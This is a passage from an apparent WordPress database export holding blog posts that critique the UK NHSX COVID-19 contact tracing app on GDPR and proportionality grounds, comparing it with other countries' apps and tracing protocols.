alive</em></a><em>” post, we’ve taken a deep-dive into the source code. It’s pleasantly surprising to find it licensed under MIT, indicating an NHSX commitment to transparency and quality... There have been claims that the Android app accesses location data, as the prompt for Bluetooth API access on Android devices appears to ask for location permissions. However, we debunked this yesterday: this is a consequence of how Android&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://developer.android.com/guide/topics/connectivity/bluetooth#Permissions\" target=\"_blank\"><em>manages requests for Bluetooth permissions</em></a><em>.</em>\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Reincubate’s CEO, Aidan Fitzpatrick, says:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, it is the case that the coming Apple&nbsp;<code>ExposureNotification</code>&nbsp;framework in iOS 13.5 obviates the need for these keepalives. However, it’s worth noting that:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>iOS 13.5 has not been released, and may not be for some weeks</li><li>Prior to yesterday, the last iOS 13.5 beta had a&nbsp;<a href=\"https://siguza.github.io/psychicpaper/\" rel=\"noreferrer noopener\" target=\"_blank\">major security flaw</a>, suggesting heavy lifting is going on in Apple’s engineering teams</li><li>Once it is released, it will&nbsp;<a href=\"https://venturebeat.com/2020/01/29/as-ios-and-ipados-13-near-80-adoption-is-the-race-with-android-over/\" rel=\"noreferrer noopener\" target=\"_blank\">likely take months</a>&nbsp;for a majority of iOS users to install it (unusually, the equivalent Android adoption may be&nbsp;<a href=\"https://www.theverge.com/2020/4/13/21220033/android-covid-19-tracking-updates-google-play-contact-tracing\" rel=\"noreferrer noopener\" target=\"_blank\">more rapid</a>)</li><li>Older iOS devices — such as the iPhone 6 — cannot run iOS 13, and will not be able to use the Apple technique</li><li><em>There’s no reason why the NHS COVID-19 app won’t be able to automatically transition in future to using Apple’s framework — or even dual-running both mechanisms</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>The app will become increasingly effective as more people use it, and the benefit of mass adoption will create a flywheel effect in this sense. The Australian COVIDSafe app struggled as it didn’t support detecting backgrounded iOS devices from an Android device, and it didn’t have this clever iOS-to-iOS keepalive mechanism.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s important to reflect on which circumstances make use of technology like this appropriate. If contact tracing is successful in saving lives, which criteria should be assessed as to whether it’s applied for future diseases? Once the precedent is set, is there an argument that this technology might be used to combat&nbsp;<em>pre-existing</em>&nbsp;infectious diseases? It’s foreseeable that different societies will evaluate the trade-offs differently.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>III - The balance of Proportionality requires a three party test :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fundamental rights, enshrined in the Charter of Fundamental Rights of the European Union constitute the core values of the European Union . These rights must be respected whenever the EU institutions and bodies design and implement new policies or adopt any new legislative measure and in the ECHR.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EU law which requires that \"<em>the content and form of Union action shall not exceed what is necessary to achieve the objectives of the treaties\"</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>\"<em>the principle of proportionality requires that acts of the EU institutions be appropriate for attaining the legitimate objectives pursued by the legislation at issue and do not exceed the limits of what is appropriate and necessary in order to achieve those objectives\" . It therefore \"restricts the authorities in the exercise of their powers by requiring a balance to be struck between the means used and the intended aim (or Under Article 52(1) of the Charter, \"subject to the principle of proportionality, limitations </em><a href=\"#\"><em>onresult reached)\" the exercise of fundamental rights</em></a><em> may be made only if they are necessary (...</em>)\".</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p><strong>1- The necessity</strong>, Something needs to be done to end this national confinement killing the country’s economy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>See the Data Protection Impact Assessment published by <a href=\"https://www.fiff.de/dsfa-corona-file-en/at_download/file\">the Forum InformatikerInnen für Frieden und gesellschaftliche Verantwortung (FIfF) e. V. .</a> They recommend that :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li> An appropriate legal basis must be established and in this respect responsibilities have to be defined. </li><li>Reinforcing the measures of pseudonymisation \'when creating the TempIDs in the app, it must be ensured that there is no connection between TempIDs and it must never be possible to make one. ...The server(s)’ operator must employ an effective separation method...\'</li><li>Accompanying the publication of the app it must be ensured in law and in fact that users have to disclose neither the status of the app nor the mere existence on a device to third parties. </li><li>Before the app gets published, a comprehensive investigation of the software and the overall system must be conducted and published by an independent body. </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>2- Could the same result be achieved in a less intrusive way?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I would argue providing tests,, masks, ventilators and resources to over loaded NHS staff will bring a serious improvement with any inconvenient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The cost of the deployment of the NHSX App is unknown. The Australian Government would have allegedly spend 700.000 AUD just to host the data in Amazon AWS clouds. This is how much less resource the NHS will receive.<a href=\"https://www.securityweek.com/covid-19-contact-tracing-apps-effective-virus-risk-management-tools-or-privacy-nightmare\">h</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://martinralbrecht.wordpress.com/2020/05/03/open-letters-v-surveillance/﻿\">A letter, signed by 177 scientists and researchers working in the UK in the fields of information security and privacy, reads: </a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>“<em>Echoing the letter signed by 300 international leading researchers, we note that it is vital that, when we come out of the current crisis, we have not created a tool that enables data collection on the population, or on targeted sections of society, for surveillance. Thus, solutions which allow reconstructing invasive information about individuals must be fully justified.1 Such invasive information can include the ‘social graph’ of who someone has physically met over a period of time. With access to the social graph, a bad actor (state, private sector, or hacker) could spy on citizens’ real-world activities.</em>”</p><p></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Actually, early testing can give far better results as epidemiologists are saying it is during the first 24 hours that the COVID+ are most contagious. <em><a href=\"https://news.sky.com/story/coronavirus-send-virus-alerts-within-24-hours-or-risk-second-wave-scientist-warns-11984908\">\'Coronavirus: Send virus alerts within 24 hours or risk second wave, scientist warns</a></em>\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.wired.co.uk/article/contact-tracing-apps-coronavirus\"><strong>IV - Coronavirus contact tracing apps were meant to save us</strong></a><strong>. They won’t. ‘With little evidence to show how effective such apps are and growing privacy concerns, there’s a risk they could do more harm than good‘ </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>From Iceland to Israel,&nbsp;</em><a href=\"https://gdprhub.eu/index.php?title=Projects_using_personal_data_to_combat_SARS-CoV-2\"><em>more than 30 systems</em></a><em>&nbsp;are being developed by governments and health authorities. They promise to automate the laborious process of tracking down the contacts of infected individuals, helping to slow the spread of coronavirus through the population and save lives.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>False alerts might loose users trust. An Oxford research said that the probability of seeing any result from the tracing Apps requires that at least 60% of the population use the App. Will the most vulnerable population of over 60% be willing to download and use it ? Will the government be liable for the false alters causing distress, unnecessary isolation and loss of revenues? France is talking of self isolating in hotels, where and how feed and entertain these people? </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://gdprhub.eu/index.php?title=Projects_using_personal_data_to_combat_SARS-CoV-2\">Elsewhere projects using personal data to combat SARS-CoV-2 </a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://tracetogether.zendesk.com/hc/en-sg/articles/360046475654-20-April-2020-One-Month-On\"><em>Singapour’s TraceTogether App</em></a><em> moved to the The Apple and Google collaboration on digital contact tracing solutions, is a game-changer, as we said previously. It will significantly improve the contact tracing capability available to governments and public health authorities over what is available through public APIs on either Android or iOS platforms. We are glad that Apple and Google are engaging governments and public health authorities around the world, including us, to incorporate feedback as the specifications for their contract tracing protocol and private APIs.  </em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.lexology.com/library/detail.aspx?g=e6e61ca3-45ae-49a0-b6f1-5fd4adf11291\">In Poland</a>, Although initially voluntary in nature, it has become mandatory for all those under obligatory quarantine or epidemiological surveillance, as a tool to confirm compliance with quarantine obligations (e.g. whether the ban on leaving the quarantine location is observed).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Contact tracing apps in Austria: a Red Cross initiative |Has been launched In March 2020 in co-operation with Accenture. </em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>The first published version of the Stopp Corona app required users to log their contacts via a \'manual\' handshake. In the current version, however, the app already allows contacts to be traced automatically, depending on the device and its configuration.&nbsp;</em></p><p><em>The automatic handshake functionality is based on the discovery and messaging functionality of the p2pkit developed by the Swiss company Uepaa, which uses Bluetooth and Wifi-direct techniques to determine the distance between the users.&nbsp;</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p><em>&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Switzerland: \"WeTrace\" app (Private)</h3>\n<!-- /wp:heading -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>This project is ready to be deployed. It is open source. All data remains locally on the devices. Packaged information encrypted asymmetrically. The sole information a potential malfeasor on the central server would see is the fact _that_ an infected person has actually pushed a status update, but on the core server it is not visible \"what\" the person has broadcasted. The broadcasting user can determine the details of what should be broadcasted aside from status (location of contact, time of contact, etc.). Packages will be sent not to everyone but only to those that need to know.</em></p><cite><br></cite></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>Spain: \"Open Coronavirus\" app (Private)</h3>\n<!-- /wp:heading -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>The Spanish medical investigator Aurelia Bustos has released Open Coronavirus, an open-source app with the aim to copy the advantages of the South-Korean app: in the end, serving as an individual-validation-method in order to allow free movement of the citizens. This tool can be used by any public institution as a basis for its own apps on tracking citizens due to the coronavirus emergency, and it offers a modular design: three levels of management (mobile phone, central management of data by the competent authority and checking of the control points by the competent authority too) with different options of geolocation (GPS, bluetooth, positioning by mobile operators cells) that could be implemented or not by the corresponding institution. Its use would be voluntary for the citizen (although, in words of the medical investigator, \"it would be probably very advantageous for the user, as it would allow him/her to have the possibility to finish an eventually longer quarantine\"), and it would necessarily depend on the realization of any kind of coronavirus detection tests.</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>As this is an open-source app, that it will not be officially published in its current status, and any use of the same by any institutons must be always in line with GDPR.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sadly, it can be said of the NHSX Tracing App, similar to the French STOPCOVID, that <a href=\"https://www.lemonde.fr/idees/article/2020/04/25/stopcovid-est-un-projet-desastreux-pilote-par-des-apprentis-sorciers_6037721_3232.html\">«&nbsp;StopCovid est un projet désastreux piloté par des apprentis sorciers&nbsp;»</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>UPDATE 8th May</strong>, The Financial Times reveals \'<a href=\"https://www.ft.com/content/446df516-4ec5-4c06-b39f-dd89ea5f6f0b\">UK starts to build second contact tracing app</a>\' going for a decentralised model in collaboration with Apple and Google.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>The different existing systems&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.huffingtonpost.fr/entry/la-chine-lance-une-appli-pour-tracer-les-malades-du-coronavirus_fr_5e42b411c5b6bb0ffc18acfe\">The Chinese System based on geolocation</a></li><li><a href=\"https://github.com/DP-3T/documents\">The DP3T</a> Protocol&nbsp;(sous diverses variantes), sa déclinaison par l’alliance&nbsp;</li><li><a href=\"https://www.apple.com/covid19/contacttracing\">Apple/Google</a>&nbsp;,&nbsp;</li><li><a href=\"https://www.zdnet.fr/actualites/dp3t-pact-et-consorts-les-protocoles-de-contact-tracing-se-multiplient-39902703.htm\"> PACT- Est</a> Protocol&nbsp;,&nbsp;</li><li><a href=\"https://pact.mit.edu/\">PACT-Ouest</a> Protocol&nbsp;,&nbsp;</li><li><a href=\"https://github.com/TCNCoalition/TCN\">TCN</a> Protocol&nbsp;,&nbsp;</li><li><a href=\"https://www.zdnet.fr/actualites/l-inria-degaine-robert-son-protocole-pour-le-contact-tracing-39902499.htm\">ROBERT</a> Protocol&nbsp;.&nbsp;</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:image {\"id\":719} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/04/COVID_PEPP.png\" alt=\"\" class=\"wp-image-719\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Liste of <a href=\"https://gdprhub.eu/index.php?title=Projects_using_personal_data_to_combat_SARS-CoV-2\">Projects using personal data to combat SARS-CoV-2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.technologyreview.com/2020/05/07/1000961/launching-mittr-covid-tracing-tracker/﻿\">MIT - A flood of coronavirus apps are tracking us. Now it’s time to keep track of them.</a> MIT have documented 25 individual, significant automated contact tracing efforts globally, including details on what they are, how they work, and what policies and processes have been put in place around them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>EDRI <a href=\"https://edri.org/covid-19-digital-rights-document-pool/\">COVID-19 &amp; Digital Rights: Document Pool</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://edps.europa.eu/sites/edp/files/publication/20-05-08_techdispatch-tracing_en.pdf\">Techdispatch&nbsp;\'</a>Contact Tracing with Mobile Applications\'</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"ids\":[930,931,932]} -->\n<ul class=\"wp-block-gallery columns-3 is-cropped\"><li class=\"blocks-gallery-item\"><figure><img src=\"/wp-content/uploads/sites/3/2020/05/EXezQe2X0AE1.png\" alt=\"\" data-id=\"930\" data-link=\"https://datarainbow.eu/2020/05/06/nhsx-contacts-tracing-app/exezqe2x0ae1/\" class=\"wp-image-930\" /></figure></li><li class=\"blocks-gallery-item\"><figure><img src=\"/wp-content/uploads/sites/3/2020/05/EXezQexXQAYJ2.png\" alt=\"\" data-id=\"931\" data-link=\"https://datarainbow.eu/2020/05/06/nhsx-contacts-tracing-app/exezqexxqayj2/\" class=\"wp-image-931\" /></figure></li><li class=\"blocks-gallery-item\"><figure><img src=\"/wp-content/uploads/sites/3/2020/05/EXezQfQX0AEk3.png\" alt=\"\" data-id=\"932\" data-link=\"https://datarainbow.eu/2020/05/06/nhsx-contacts-tracing-app/exezqfqx0aek3/\" class=\"wp-image-932\" /></figure></li></ul>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://reincubate.com/blog/nhs-covid-19-background-tracing-details/\">Privacy International : A technical deep-dive into the NHS COVID-19 contact tracing app</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":933} -->\n<figure class=\"wp-block-image\"><img src=\"/wp-content/uploads/sites/3/2020/05/EXethgcXgAAF4.jpeg\" alt=\"\" class=\"wp-image-933\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.privacyinternational.org/long-read/3752/coronavirus-tracking-uk-what-we-know-so-far\">UK government Covid tracking app: what you need to know!</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://insights.doughtystreet.co.uk/post/102g6tz/guide-to-coronavirus-offences-help-for-the-public-police-and-lawyers\">Guide to Coronavirus Offences. Help for the public, police and lawyers</a></em>&nbsp;by&nbsp;the&nbsp;Doughty&nbsp;Street&nbsp;Chambers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://axisofeasy.com/aoe/computer-model-that-locked-down-the-world-turns-out-to-be-shtcode/\">Computer model that locked down the world turns out to be sh*tcode.</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>A SPECIAL THANK YOU TO GRAEME McGOWAN for allowing me to use his beautiful photography.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This work is licensed under a&nbsp;&nbsp;<a rel=\"noreferrer noopener\" href=\"https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=en&amp;pto=aue&amp;rurl=translate.google.com&amp;sl=auto&amp;sp=nmt4&amp;tl=en&amp;u=http://creativecommons.org/licenses/by/4.0/&amp;usg=ALkJrhhlCHDdIskVLuBz-aYeLh0JgcYicA\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>&nbsp;.</p>\n<!-- /wp:paragraph -->','NHSX Contacts Tracing App','Is NHSX UK centralised Tracing APP capable of best combat the COVID19 propagation? the Balance of proportionality looks rather weak. ','publish','closed','closed','','nhsx-contacts-tracing-app','','https://edri.org/covid-19-digital-rights-document-pool/\nhttps://www.cyberscoop.com/bluetooth-exploit-jan-ruge-contact-tracing/\nhttps://tech.newstatesman.com/coronavirus/uncertainty-over-who-could-access-nhsx-contact-tracing-app-data-as-pilot-goes-live\nhttps://axisofeasy.com/aoe/computer-model-that-locked-down-the-world-turns-out-to-be-shtcode/','2020-05-16 14:24:17','2020-05-16 13:24:17','',0,'https://datarainbow.eu/?p=898',0,'post','',0),(899,5,'2020-05-06 18:14:33','2020-05-06 17:14:33','<!-- wp:paragraph -->\n<p>Much has been written and the debate is still ongoing. I have written a previous article on the French government project of STOPCOVID.&lt;/</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The NHSX project is another centralised contact tracing App to be adopted in the UK. A first tryout has started on the Isle of Wight since Tuesday May 2nd.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>As I was going to publish my takes, Chris Pounder from Amber-walk published his article . I could never do anything better.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>COVID-19: how the GDPR applies to trace and track.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>1- Emphasis is put in the voluntary adoption of the measure as requested by most EU Data Protection Authorties.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>As Chris develops, ‘NHSX claim that every operation related to the APP is voluntary (e.g. to download, to communicate to a central database if need be). Users can choose to delete the APP at any time; this would also delete the data on the phone but not any data previously uploaded to NHSX’s central database.’</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The data is pseudonymised more than anonymised as it can be re-identifiable, therefore it will be the GDPR and not the ePrivacy Directive that will apply</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Chris reminds the government promise that ‘The APP does not use any identifier already on the phone (e.g. phone number, SIM card identifier) or location details.’ The APP generates a random ID number exchanged with other phones that have also downloaded the APP. This record will remain on both phones for 14 days. When someone is COVID+ this record will trace back the contacts with a warning message for the user .</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The APP should not keep any personal information and no location data. Only the first half of the postcode is collected from APP users to alert local hospitals.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>For Chris Pounder, ‘there are three definitional issues:</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>(a) is personal data processed? </p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>b) if so, who is the controller processing personal data? and </p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>(c) if there is a controller, does the voluntary nature of the APP equate to “data subject consent”?</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>For him the data subject is identifiable and the data related to medical health. He is therefore ‘pretty sure the APP is processing personal data and special category of personal data’, subject to the Article 6 lawful basis and a condition that overcomes the prohibition in Article 9(1) from processing health personal data.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>As for the Controller, there would be joint controllers as he points to the NHSX website stating that “NHS England and NHS Improvement and the Department of Health and Social Care are delivering NHSX together” This bring to the Article 26 that requires any processing of personal data “shall in a transparent manner determine their respective responsibilities”.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>As the emphasis is on the voluntary adoption of the App, the next question  is on ”data subject consent”. He point out that ‘the NHS text on the website is very careful to avoid the use of the “C word” and it is easy to see why’.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Recital 43 states that with respect to consent: “consent should not provide a valid legal ground for the processing of personal data in a specific case where there is a clear imbalance between the data subject and the controller” This will be the case where the controller is a public authority or an employer. It will be unlikely for that consent to be considered as ‘freely given’. Therefore voluntary adoption does not refer the character of legitimate basis on consent.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The limits of the ‘voluntary’ adoption he  sees is that it could lead to a denial of a service as for the ‘ID Card holders refused to “volunteer” making it a requirement to interact with any public service.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The first comment is that any interference by a public authority (NHSX) is unlikely to infringe Article 8(1) of the European Convention on Human Rights; This is because Article 8(2) permits legislation to be enacted by a Parliament process (e.g. in the Coronavirus 2 which sets aside the A.8(1) right in limited circumstances (e.g. any interference deemed&amp;nbsp;&lt;strong&gt;&lt;em&gt;necessary&lt;/em&gt;&lt;/strong&gt;of&amp;nbsp; “&lt;em&gt;for the protection of health&lt;/em&gt;”).&amp;nbsp; It all hangs on the word “necessary”; it is either necessary or it isn’t.If there is reliance on data subject consent (which I think is unreliable), then there is also no A.8 breach (so long consent is properly formed).</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Based on the GDPR/DPA2018,  he considers ‘if the processing is “necessary” it will have Article 6 lawful basis (e.g. candidates are A.6(1)(c) or A.6(1)(e); A.6(1)(d) could be used in a case-by-case emergency). If there is need for an A.9 condition that lifts the prohibition on processing of health personal data the candidates are A.9(2)(c), A.9(2)(g), A.9(1)(i), Schedule 1, paragraphs2, 3 or 6 of the DPA2018.’</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>‘If there is reliance on consent or necessary or public task (or even necessary legitimate interests of controller/Third Party), the controller has to specify publicly (A.13; A.14) what happens to the personal data if there withdrawal of consent or exercise of the exercise of the right to object to the processing.’</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Therefore, in his view ‘the ICO should take up Article 8 ECHR cases on the grounds that necessary as used in the GDPR has the same meaning as in Article 8.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Remains ‘Uncertainty over who could access NHSX contact tracing app data as Isle of White pilot goes live’. ‘The NHSX coronavirus contact tracing app is being rolled out on the Isle of Wight this week, but major question marks still hang over the app. Matthew Gould, CEO of NHSX, told parliament today that the data collected by the app would be accessible to unspecified organisations as long as it was used for public health purposes. ‘</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p><strong>The UK like France has opted for the centralised model </strong></p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Australia who has already deployed the App has been struggling technically https://www.theguardian.com/world/2020/may/06/covidsafe-app-is-not-working-properly-on-iphones-authorities-admit</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p> , considering to revert to a decentralised model to resolve their Bluetooth issues. ‘Covidsafe app is not working properly on iPhones, authorities admit’ ‘Australians running the Covidsafe contact tracing app on iPhones may not be recording all the data required if they don’t have the app running in the foreground or they are using an older model phone, the government has admitted.’</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The UK ICO like the French CNIL have expressed their preference </p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>for a decentralised model Chris sees further vulnerability of the centralised approach  with a ‘future legislative mood of Government’. He believes ‘It could be tempting (e.g. to reduce the pressures on the public purse) for Government to enact legislation that makes certain processing of personal data compulsory. For instance, to prove entitlement to a COVID related benefit.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>‘UK finds itself almost alone with centralized virus contact-tracing app that probably won\'t work well, asks for your location, may be illegal’. ‘On Monday, the UK government explained in depth and in clearly written language how its iOS and Android smartphone application – undergoing trials in the Isle of Wight – will work, and why it is a better solution to the one by Apple and Google that other nations have decided to adopt. It has also released a more technical explanation.’</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>France is struggling to find an agreement with Apple and Google. Running the Bluetooth connection in the back has several inconvenience such as draining the battery and opening security vulnerabilities.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Furthermore, the Bluetooth distance measurement is unreliable according to its inventor. Bluetooth signals can pierce obstacles the virus hopefully cannot such  as a wall or vehicle bodies. </p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The amount of false alerts will cause major distress and reduce trust on the App. When someone receives the warning SMS that they have been in contact with someone COVID+, that doesn\'t mean the NHS can test them immediately. They might be asked to self isolate themselves which is not always technically possibly. It has been suggested in France that they would be hotels dedicated to quarantine. That means 14 days of accommodation, food and entertainment. During which time the person and his family or network will be under distress, maybe unnecessarily isolated causing loss of revenues. Should the government be liable for all that ?</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>‘These apps could easily become subject to a high number of false positives – and false positives always lead to a rejection by users. ‘ que faire du stresse, isolation et perte de revenus consécutives au faux positives alertes? Le BT transverse les murs et un automobiliste à proximité pourrait être décelé conne en ‘contact’ .  https://www.securityweek.com/covid-19-contact-tracing-apps-effective-virus-risk-management-tools-or-privacy-nightmare</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>If someone is reluctant to self quarantine, will they ignore the warning messages ?</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The most at risk populations are the over 60x, will they be willing to download the app ?</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>What are going the security issues of opening the Bluetooth connection be?</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Any data base creates security issues. New NHS contact-tracing app vulnerable to ‘malicious false alerts’, warn experts.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Additionaly, ‘The new NHS contact-tracing app could be used to send malicious alerts causing people to isolate unnecessarily, it has been warned.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The app, which is being trialled in the Isle of Wight, tells users if someone they have been in proximity with may be suffering from coronavirus, meaning they could be exposed.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>But because users can set off the warnings themselves by reporting symptoms – rather than positive Covid-19 test results – it could be used to send out false alerts.’. </p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>\'Dr Michael Veale, a lecturer in digital rights and regulation at University College London who this week gave evidence to MPs on the technology, told The Independent that Britain’s tracing app had nothing to stop individuals “maliciously triggering notifications” using its normal functionality.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>“People can deliberately put others into quarantine or report large areas,” he said. “A child could try to get a day off school by reporting symptoms from a parent’s phone to trigger a quarantine.’</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Constant Bluetooth signals in the back will drain the phone battery eventually causing over heating. Will be see a new epidemic of ‘pockets in fire’ ?</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p><strong>The balance of Proportionality requires a three party test :</strong></p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>EU law which requires that \"the content and form of</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Union action shall not exceed what is necessary to achieve the objectives of the treaties\".</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>\"the principle of proportionality requires that acts of the EU institutions be appropriate for attaining the legitimate objectives pursued by the legislation at issue and do not exceed the limits of what is appropriate and necessary in order to achieve those objectives\" . It therefore \"restricts the authorities in the exercise of their powers by requiring a balance to be struck between the means used and the intended aim (or Under Article 52(1) of the Charter, \"subject to the principle of proportionality, limitations <a href=\"#\">onresult reached)\" the exercise of fundamental rights</a> may be made only if they are necessary (...)\".</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Fundamental rights, enshrined in the Charter of Fundamental Rights of the European Union constitute the core values of the European Union . These rights must be respected whenever the EU institutions and bodies design and implement new policies or adopt any new legislative measure + ECHR.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>The necessity, Something needs to be done to end this national confinement killing the country’s economy.</p>\n<!-- /wp:paragraph -->\n\n\n<!-- wp:paragraph -->\n<p>Could the same result be achieved in a less intrusive way?</p>\n<!-- /wp:paragraph -->\n\n\n<!-- 